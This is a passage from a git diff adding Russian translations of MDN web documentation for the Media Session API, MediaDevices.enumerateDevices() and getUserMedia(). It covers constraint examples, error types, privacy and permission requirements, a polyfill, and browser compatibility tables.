+ <dd>Позволяет веб-странице предоставить метаданные о воспроизведении для показа в интерфейсе платформы.</dd>
+ <dt>{{domxref("MediaSession")}}</dt>
+ <dd>Позволяет странице определить собственные обработчики стандартных медиа-событий.</dd>
+</dl>
+
+<h2 id="Объекты">Объекты</h2>
+
+<dl>
+ <dt>{{domxref("MediaImage")}}</dt>
+ <dd>Объект <code>MediaImage</code> содержит информацию об отображаемой картинке. Чаще всего этим изображением является обложка или постер.</dd>
+ <dt>{{domxref("MediaPositionState")}}</dt>
+ <dd>Содержит информацию о длине трека, месте и скорости воспроизведения, передаваемую с помощью метода {{domxref("MediaSession.setPositionState", "setPositionState()")}}.</dd>
+ <dt>{{domxref("MediaSessionActionDetails")}}</dt>
+ <dd>Предоставляет информацию, необходимую для выполнения запрошенного действия, например тип действия или позицию перемотки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передает метаданные и определяет собственные обработчики событий:</p>
+
+<pre class="brush: js notranslate">if ('mediaSession' in navigator) {
+  navigator.mediaSession.metadata = new MediaMetadata({
+    title: 'Unforgettable',
+    artist: 'Nat King Cole',
+    album: 'The Ultimate Collection (Remastered)',
+    artwork: [
+      { src: 'https://dummyimage.com/96x96',   sizes: '96x96',   type: 'image/png' },
+      { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' },
+      { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' },
+      { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' },
+      { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'image/png' },
+      { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' },
+    ]
+  });
+
+  navigator.mediaSession.setActionHandler('play', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('pause', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekbackward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekforward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('previoustrack', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ });
+}</pre>
+
+<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнет работу с медиасессией:</p>
+
+<pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) {
+  var audio = document.querySelector('audio');
+
+  // Пользователь нажал кнопку, начинаем воспроизведение...
+  audio.play()
+  .then(_ =&gt; { /* Настройка элементов управления (показана выше). */ })
+  .catch(error =&gt; { console.log(error) });
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Session')}}</td>
+   <td>{{Spec2('Media Session')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.MediaSession")}}</p>
diff --git a/files/ru/web/api/mediadevices/enumeratedevices/index.html b/files/ru/web/api/mediadevices/enumeratedevices/index.html
new file mode 100644
index 0000000000..8672793a83
--- /dev/null
+++ b/files/ru/web/api/mediadevices/enumeratedevices/index.html
@@ -0,0 +1,163 @@
+---
+title: MediaDevices.enumerateDevices()
+slug: Web/API/MediaDevices/enumerateDevices
+translation_of: Web/API/MediaDevices/enumerateDevices
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>MediaDevices.enumerateDevices()</code></strong> собирает информацию о медиа-устройствах ввода и вывода, доступных в системе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.mediaDevices.enumerateDevices()
+.then(function(MediaDeviceInfo) { ... })</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает {{ domxref("Promise") }} который, если выполнится успешно, вернёт массив экземпляров {{domxref("MediaDeviceInfo")}} , которые содержат информацию о доступных медиа-устройствах ввода и вывода.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Ниже, пример, использующий метод <code>mediaDevices.enumerateDevices()</code>.</p>
+
+<pre class="brush: js">if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices() не поддерживается.");
+  return;
+}
+
+// Перечисление в цикле камер и микрофонов
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<p>результат перичисления в цикле:</p>
+
+<pre>videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<p>или, если один или более объектов {{domxref("MediaStream")}} активны,  или получены постоянные разрешения:</p>
+
+<pre>videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<h2 id="Разрешения">Разрешения</h2>
+
+<p>Что бы использовать метод  <code>enumerateDevices()</code> в устанавливаемом приложении  (к примеру в  <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS приложение</a>), необходимо указать оба поля внутри файла манифеста приложения:</p>
+
+<pre class="brush: js">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p>Смотри так же : <a href="/en-US/Apps/Developing/App_permissions#audio-capture">разрешение: аудио захват</a> and <a href="/en-US/Apps/Developing/App_permissions#video-capture">разрешение : видео захват</a> в продолжение темы.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'mediaDevices.enumerateDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>39</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Behind a flag.</p>
+
+<h3 id="Совместимость_с_Chrome_и_Opera">Совместимость с Chrome и Opera</h3>
+
+<ul>
+ <li>Интерфейс доступен в  Chrome и Opera через полифил <a href="https://github.com/webrtc/adapter">adapter.js</a>.</li>
+</ul>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia" title="mediaDevices.getUserMedia">navigator.mediaDevices.getUserMedia</a></li>
+ <li><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia() for taking photos rather than video.</code></li>
+</ul>
diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..1d9a8fe00e
--- /dev/null
+++ b/files/ru/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,351 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Метод {{domxref("MediaDevices")}}<code><strong>.getUserMedia()</strong></code>, при выполнении, вызывает всплывающий диалог, запрашивающий разрешение пользователя на использование медиа устройства (камера, микрофон). Результат возвращает промис, содержащий поток, который  состоит из треков (дорожек), содержащих требуемые медиа типы. Этот поток может включать, к примеру, видеотрек, созданный либо аппаратным средством, либо виртуальным видеоисточником, такими как камера, устройство видеозаписи, сервис обмена изображениями и т.д);  аудиотрек, созданный физическим или виртуальным аудиоисточником, к примеру, микрофоном, аналого-цифровым преобразователем звуков и возможно иные типы треков.</p>
+
+<p>Он возвращает {{jsxref("Promise")}} , который, в случае согласия пользователя, разрешается {{domxref("MediaStream")}} объектом. Если пользователь отказывает в разрешении, или медиа устройсто не доступно, тогда промис отменяется с объектами типа <code>NotAllowedError</code> или <code>NotFoundError</code> соответственно.</p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Возможно, что промис ни разрешиться, ни отмениться, в случае, когда пользователь не сделает выбор и запрос проигнорирует.</p>
+</div>
+
+<p>Обычно, разработчик получает доступ к  единственному экземпляру объекта {{domxref("MediaDevices")}} , используя {{domxref("navigator.mediaDevices.getUserMedia()")}}  метод, возвращающий поток:</p>
+
+<pre class="brush: js notranslate">async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* используем поток */
+  } catch(err) {
+    /* обработка ошибки */
+  }
+}
+</pre>
+
+<p>Тот же результат, но используя тип промиса :</p>
+
+<pre class="brush: js notranslate">navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* используем поток */
+})
+.catch(function(err) {
+  /* обработка ошибки */
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Если документ загружен не безопасно, значение <code>navigator.mediaDevices</code> будет <code>undefined</code>, и нельзя будет использовать метод  <code>getUserMedia()</code>. Смотри  {{anch("Security")}} для дополнительной информации о дальнейших вопросах безопасности, связанной с использованием метода <code>getUserMedia()</code>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>constraints (ограничения)</var></code></dt>
+ <dd>
+ <p>Объект  {{domxref("MediaStreamConstraints")}}, определяющий запрашиваемые медиатипы, вместе с требованиями для каждого типа.</p>
+
+ <p>Тип параметра <code><var>constraints</var></code> (ограничения) - это объект типа <code>MediaStreamConstraints</code> с двумя членами: <code>video</code> и <code>audio</code>, описывающие запрашиваемые медиатипы. Один или оба должны определяться разработчиком. Если браузер не сможет обнаружить медиатреки определяемого типа, которые соответствуют переданным ограничениям, возвращаемый методом промис отменяется с объектом <code>NotFoundError</code>.</p>
+
+ <p>Следующий отрывок кода запрашивает и <code>audio</code> и <code>video</code><strong> </strong>типы  без дополнительных условий:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: true }</pre>
+
+ <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода  <code>getUserMedia()</code> приведет к ошибке.</p>
+
+ <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфеденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}</pre>
+
+ <p id="successCallback">Браузер попытается выполнить условие, но может вернуть видеотрек другого разрешения, если установленные требования невозможно удовлетворить (камера не обладает возможностью такого разрешения), или пользователь переопределяет условие.</p>
+
+ <p>Для минимального, максимального и точного определения значения можно использовать ключевые слова <code>min</code>, <code>max</code>, или <code>exac</code>. Следующий пример запрашивает минимальное разрешение камеры 1280x720:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}</pre>
+
+ <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменен с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p>
+
+ <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code>  являются обязательными к выполнению. В то время как простые значения и ключевое слово  <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}</pre>
+
+ <p>Значение свойства <code>ideal</code>  имеет приоритет. Это означает, что браузер будет пытаться обнаружить настройки с наименьшей  <a href="https://w3c.github.io/mediacapture-main/#dfn-fitness-distance">fitness distance</a> (удовлетворяющей разницей) от переданных идеальных значений. Т.е. пытается найти самое близкое к переданному значение.</p>
+
+ <p>Простые значения работают как идеальные, поэтому один из первых примеров выше можно переписать, используя свойство  <code>ideal </code>:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}</pre>
+
+ <p>Не все значения ограничений являются числовыми. К примеру, на мобильных устройствах следующий отрывок будет запрашивать переднюю камеру (если присутствует) , поэтому в свойстве <code>facingMode</code> указано строковое значение <code>user</code>:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p>Запрос обратной (задней) камеры:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+
+ <p>Следующее строковое свойство -  <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из  метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определнного устройства по идентификатору этого устройства:</p>
+
+ <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre>
+
+ <p>Код выше вернет запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определенной камеры, без альтернативы, используется свойство  <code>exact</code> (точно) :</p>
+
+ <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Промис {{jsxref("Promise")}}, при удачном запросе требуемого медиа устройства разрешается  объектом типа {{domxref("MediaStream")}} .</p>
+
+<h3 id="Исключения_Ошибки">Исключения (Ошибки)</h3>
+
+<p>При неудачном запросе медиа устройства, возвращаемый промис {{jsxref("Promise")}} отменяется объектом типа  ошибки {{domxref("DOMException")}}. Возможными ошибками могут быть типы:</p>
+
+<dl>
+ <dt><code>AbortError (Прервано)</code></dt>
+ <dd>Хотя пользователь и операционная система предоставили доступ к аппаратному устройству, и не возникло проблем с оборудованием, которые могли бы вызвать <code>NotReadableError</code>, возникла некоторая проблема, которая не позволила использовать устройство.</dd>
+</dl>
+
+<dl>
+ <dt><code>NotAllowedError (Доступ не разрешен)</code></dt>
+ <dd>Возникает если, одно или несколько запрашиваемых устройств не можут быть использованы в настоящее время. Это происходит тогда, когда контекст браузера является не безопасным (страница была загружена используя протокол HTTP вместо HTTPS), а также, если пользователь не разрешил доступ текущему экземпляру браузера к устройству, пользователь отказал в доступе в текущей сессии, или пользователь отказал в доступе к медиаустройствам глобально. Для браузеров, которые поддерживают управление медиаразрешениями с помощью  <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, такая ошибка возвращается если Feature Policy не сконфигурирована для разрешение доступа к медиаустройству или устройствам
+ <div class="note"> Более старые версии спецификации использовали вместо этого SecurityError. <code>SecurityError</code> имеет новое значение.</div>
+ </dd>
+ <dt><code>NotFoundError (Не найдено)</code></dt>
+ <dd>Возникает если, типы мидиа треков, удовлетворяющие переданным значениям, не найдены.</dd>
+ <dt><code>NotReadableError (Не читается)</code></dt>
+ <dd>Хотя пользователь и предоставил разрешение на использование соответствующих устройств, произошла аппаратная ошибка на уровне операционной системы, браузера или веб-страницы, которая препятствовала доступу к устройству..</dd>
+ <dt><code>OverconstrainedError (за границами ограничений)</code></dt>
+ <dd>Возникает если, в результате указанных ограничений не было найдено устройств, отвечающих запрошенным критериям. Ошибка является объектом типа <code>OverconstrainedError</code> и имеет свойство <code>constraint</code>, строковое значение которого является именем ограничения, которое было невозможно встретить, и свойство <code>message</code>, содержащее читаемую человеком строку, объясняющую проблему.
+ <div class="note">Ошибка может возникнуть даже, если пользователь еще не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div>
+ </dd>
+ <dt><code>SecurityError (ошибка безопасности)</code></dt>
+ <dd>Возникает если, медиа поддержка отключена в {{domxref("Document")}} на котором был вызван метод  <code>getUserMedia()</code>. Механизм по которому медиа поддержка включается и отключается находиться в компетенции браузера пользователя.</dd>
+ <dt><code>TypeError (ошибка типа)</code></dt>
+ <dd>Возникает если, список ограничений пустой или все ограничения установлены в  <code>false</code>. Так же это происходит, если пытаться вызвать метод <code>getUserMedia()</code> в небезопасном контексте, поскольку в нем  {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Конфеденциальность_и_безопасность">Конфеденциальность и безопасность</h2>
+
+<p>Поскольку  API могут существенно затрагивать  вопросы конфеденциальности, спецификация <code>getUserMedia()</code> предъявляет широкий спекрт требований защиты конфеденциальности и безопасности, которым современные браузеры обязаны следовать.</p>
+
+<p><code>getUserMedia()</code> -  это мощная функция, которая может быть использована только в <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасном контексте</a> . В небезопасном контексте, <code>navigator.mediaDevices</code> равно <code>undefined</code>, предотвращая достук к методу <code>getUserMedia()</code>. Безопасный контекст  - это, если кратко, страница, загружаемая по протоколу HTTPS или  <code>file:///</code> URL схеме, или страница, загружаемая из <code>localhost</code>.</p>
+
+<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не дается разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p>
+
+<p>Дополнительные подробности на тему требований и правил, и как они отражены в контексте выпоняемого кода, о том, как браузеры управляют вопросами конфеденциальности и безопасности читайте далее.</p>
+
+<h3 id="Конфеденциальность_пользователя">Конфеденциальность пользователя</h3>
+
+<p>Поскольку, програмный интерфейс  затрагивает вопросы конфеденциальности и безопасности, в спецификации, для метода  <code>getUserMedia()</code> содержатся особенные требования для управления уведомлениями и разрешениями пользователя. Сначала метод <code>getUserMedia()</code> должен всегда запрашивать пользовательское разрешение до начала сбора данных потоков камеры и микрофона. Браузер может использовать функциональность одного разрешения на домен, но в первый раз браузер обязательно должен получить разрешение пользователя. </p>
+
+<p>Не менее важны правила уведомления. Браузеры обязательно отображают индикатор, который указывает на использование камеры или микрофона, выше или сверху любого, уже имеющегося индикатора аппартного средства (если присутствует). Они также должны отображать индикатор того, что разрешение уже выдано для использования устройств, даже, если устройства не используются в настоящий момент.</p>
+
+<p>К примеру, в Firefox,<strong> </strong>в панели адреса отображается красная пульсирующая иконка, указывающая на использование аппаратного средства. Серая иконка указывает на выданное разрешение, но не использование аппаратного средства в данный момент. Физический (явный) свет устройства указывает на текущее использование (активизацию) аппаратного средства. Если отключить камеру програмно, свет активности камеры отключится, указывая на то, что она запись не производит, без отмены разрешение на использования, и включиться после запуска камеры в работу.</p>
+
+<h3 id="Безопасность">Безопасность</h3>
+
+<p>Существуют несколько способов управлением безопасностью и контролем в  {{Glossary("user agent")}}. Для этого можно использовать метод <code>getUserMedia()</code> , который возвращает объекты ошибок, относящиеся к безопасности.</p>
+
+<div class="blockIndicator note">
+<p><strong> Примечание :</strong>  Модель безопасности для метода <code>getUserMedia()</code> находиться в процессе разработки. Первоначально спроектированный механизм безопасности находиться в процессе замещения Feature Policy, поэтому различные браузеры имеют разный уровень поддержки безопасности, используют различные механизмы. Вам необходимо осторожно тестировать свой код на различных устройствах и браузерах, чтобы удостовериться в его уверенной работоспособности.</p>
+</div>
+
+<h4 id="Feature_Policy_Функцианальная_политика">Feature Policy (Функцианальная политика)</h4>
+
+<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включенной в настройках по умолчанию, как в   Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо  {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера,  которые используют <code>getUserMedia()</code>.</p>
+
+<p>Два разрешения, которые обращаются к <code>getUserMedia()</code> - <code>camera</code> и <code>microphone</code>.</p>
+
+<p>К примеру, строка  HTTP заголовка позволит использовать камеру документу и любым встроенныем  {{HTMLElement("iframe")}} элементам, которые загружаются  из одного источника:</p>
+
+<pre class="notranslate">Feature-Policy: camera 'self'</pre>
+
+<p>Строка ниже, запрашивает доступ к микрофону для текушего источника и указанном в заголовке источнике <code>https://developer.mozilla.org</code>:</p>
+
+<pre class="notranslate">Feature-Policy: microphone 'self' https://developer.mozilla.org</pre>
+
+<p>Если используется <code>getUserMedia()</code> внутри элемента <code>&lt;iframe&gt;</code>, можно запросить разрешение только для этого фрейма, которое явно более безопасее, чем  запрашивать более общее разрешение. Здесь нам нужно использовать и камеру и микрофон:</p>
+
+<pre class="brush: html notranslate">&lt;iframe src="https://mycode.example.net/etc" allow="camera;microphone"&gt;
+&lt;/iframe&gt;</pre>
+
+<p>Прочитайте наше руководство <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Применение функциональной политики </a>, изучив подробнее то, как это работает.</p>
+
+<h4 id="Безопасность_на_основе_шифрования">Безопасность на основе шифрования</h4>
+
+<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что  документ был загружен безопасно, используя  HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство  {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведет к ошибке <code>TypeError</code>.</p>
+
+<h4 id="Безопасность_источника_документа">Безопасность источника документа</h4>
+
+<p>Существуют несколько небезопасных способа загрузить документ, который может попытыться вызвать метод <code>getUserMedia()</code>. Ниже представлены примеры ситуаций, в которых <code>getUserMedia()</code> не разрешается вызывать:</p>
+
+<ul>
+ <li>Документ, загруженный в песочницу {{HTMLElement("iframe")}} элемента не может вызвать <code>getUserMedia()</code>, до тех пор пока, на элементе <code>&lt;iframe&gt;</code> находиться атрибут  {{htmlattrxref("sandbox", "iframe")}}, установленный в значение <code>allow-same-origin</code>.</li>
+ <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника  (такими являются типы URL-ов, введенные пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы  URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li>
+ <li>Иные ситуации, документы которых не имеют источника, к примеру элемент, содержащий атрибут {{htmlattrxref("srcdoc", "iframe")}}, использующийся для указания содержимого фрейма.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ширина_и_высота">Ширина и высота</h3>
+
+<p>Этот пример выбирает указанное разрешение камеры и присваивает ссылку на объект {{domxref("MediaStream")}} свойству <code>srcObject</code> элемента <code>video</code> .</p>
+
+<pre class="brush: js notranslate">// Выбирает разрешение камеры близкое к 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+</pre>
+
+<h3 id="Использование_новых_API_в_старых_браузерах">Использование новых  API в старых браузерах</h3>
+
+<p>Ниже, находятся примеры, использующие <code>navigator.mediaDevices.getUserMedia()</code>, с полифилами для работы в старых браузерах. Обратите внимание, что эти полифилы не корректируют все различия в синтаксисе, и не работают во всех браузерах. Рекомендуется использовать библиотеку  <a href="https://github.com/webrtc/adapter">adapter.js</a> , как производственный полифил.</p>
+
+<pre class="brush: js notranslate">// Старые браузеры могут не реализовывать свойство mediaDevices,
+//поэтому вначале присваеваем свойству ссылку на пустой объект
+
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Некоторые браузеры частично реализуют свойство mediaDevices, поэтому
+//мы не можем присвоить ссылку на объект свойству getUserMedia, поскольку
+//это переопределит существующие свойства. Здесь, просто добавим свойство
+<code>//getUserMedia </code>, если оно отсутствует.
+
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // Сначала, если доступно, получим устаревшее getUserMedia
+
+  var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+   //Некоторые браузеры не реализуют его, тогда вернем отмененный промис
+   // с ошибкой для поддержания последовательности интерфейса
+
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Иначе, обернем промисом устаревший navigator.getUserMedia
+
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Устаревшие браузеры могут не иметь свойство srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Не используем в новых браузерах
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Частота_кадров">Частота кадров</h3>
+
+<p>В некоторых случаях может быть желательна более низкая частота кадров, например, при передаче WebRTC с ограничениями полосы пропускания</p>
+
+<pre class="brush: js notranslate">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Передняя_и_задняя_камеры">Передняя и задняя камеры</h3>
+
+<p>На мобильных устройствах.</p>
+
+<pre class="brush: js notranslate">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
